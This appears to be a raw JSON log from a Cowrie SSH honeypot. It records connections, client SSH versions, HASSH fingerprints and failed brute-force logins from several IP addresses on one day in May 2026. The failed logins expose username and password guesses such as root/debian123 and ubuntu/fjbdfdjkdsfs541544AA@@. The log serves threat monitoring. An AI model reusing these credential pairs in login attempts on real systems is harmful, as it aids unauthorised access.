{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:22.704945Z","src_ip":"78.44.192.210","session":"10137f213709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":39472,"dst_ip":"10.17.0.5","dst_port":22,"session":"60601c23757f","protocol":"ssh","message":"New connection: 121.168.139.251:39472 (10.17.0.5:22) [session: 60601c23757f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:22.935621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:22.941265Z","src_ip":"121.168.139.251","session":"60601c23757f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:23.148560Z","src_ip":"121.168.139.251","session":"60601c23757f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hw@123456","message":"login attempt [root/hw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:23.173259Z","src_ip":"78.44.192.210","session":"10137f213709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"profe","password":"profe","message":"login attempt [profe/profe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:24.004628Z","src_ip":"121.168.139.251","session":"60601c23757f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.709495544433594,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:24.269087Z","src_ip":"201.177.237.140","session":"64daedddd244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:24.291174Z","src_ip":"78.44.192.210","session":"10137f213709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:25.215218Z","src_ip":"121.168.139.251","session":"60601c23757f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.4040801525116,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:45.020756Z","src_ip":"79.139.59.21","session":"31b3a822a59f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":56884,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fb46d96ffe9","protocol":"ssh","message":"New connection: 45.233.218.160:56884 (10.17.0.5:22) [session: 2fb46d96ffe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:50.699626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:50.704522Z","src_ip":"45.233.218.160","session":"2fb46d96ffe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:50.839758Z","src_ip":"45.233.218.160","session":"2fb46d96ffe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"12345","message":"login attempt [nodeuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:51.407088Z","src_ip":"45.233.218.160","session":"2fb46d96ffe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:52.546743Z","src_ip":"45.233.218.160","session":"2fb46d96ffe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":39210,"dst_ip":"159.203.135.109","dst_port":22,"session":"796df2f5301b","protocol":"ssh","message":"New connection: 147.45.197.250:39210 (159.203.135.109:22) [session: 796df2f5301b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:55.657928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:55.663170Z","src_ip":"147.45.197.250","session":"796df2f5301b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:55.761513Z","src_ip":"147.45.197.250","session":"796df2f5301b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcyjzhcr","message":"login attempt [root/rhfcyjzhcr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:56.046752Z","src_ip":"147.45.197.250","session":"796df2f5301b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:55:57.144967Z","src_ip":"147.45.197.250","session":"796df2f5301b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":43904,"dst_ip":"10.17.0.5","dst_port":22,"session":"75f21b648e41","protocol":"ssh","message":"New connection: 79.143.189.125:43904 (10.17.0.5:22) [session: 75f21b648e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:15.271099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:15.276368Z","src_ip":"79.143.189.125","session":"75f21b648e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:15.369288Z","src_ip":"79.143.189.125","session":"75f21b648e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:15.779553Z","src_ip":"79.143.189.125","session":"75f21b648e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:16.875051Z","src_ip":"79.143.189.125","session":"75f21b648e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":41546,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf2c92d7814","protocol":"ssh","message":"New connection: 121.168.139.251:41546 (10.17.0.5:22) [session: fcf2c92d7814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:58.094870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:58.100508Z","src_ip":"121.168.139.251","session":"fcf2c92d7814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:58.299569Z","src_ip":"121.168.139.251","session":"fcf2c92d7814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:56:59.125424Z","src_ip":"121.168.139.251","session":"fcf2c92d7814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:00.328865Z","src_ip":"121.168.139.251","session":"fcf2c92d7814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33126,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f588b986ef3","protocol":"ssh","message":"New connection: 103.173.227.57:33126 (10.17.0.5:22) [session: 7f588b986ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:04.270995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:04.276977Z","src_ip":"103.173.227.57","session":"7f588b986ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:04.530298Z","src_ip":"103.173.227.57","session":"7f588b986ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barabashka","message":"login attempt [root/barabashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:05.290308Z","src_ip":"103.173.227.57","session":"7f588b986ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:06.546758Z","src_ip":"103.173.227.57","session":"7f588b986ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":36968,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a846bfa88a","protocol":"ssh","message":"New connection: 78.44.192.210:36968 (10.17.0.5:22) [session: 68a846bfa88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:14.042253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:14.047164Z","src_ip":"78.44.192.210","session":"68a846bfa88a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:14.156981Z","src_ip":"78.44.192.210","session":"68a846bfa88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:14.629543Z","src_ip":"78.44.192.210","session":"68a846bfa88a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:15.744352Z","src_ip":"78.44.192.210","session":"68a846bfa88a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":44336,"dst_ip":"10.17.0.5","dst_port":22,"session":"e193257d805d","protocol":"ssh","message":"New connection: 45.233.218.160:44336 (10.17.0.5:22) [session: e193257d805d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:42.852869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:57:42.856927Z","src_ip":"45.233.218.160","session":"e193257d805d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 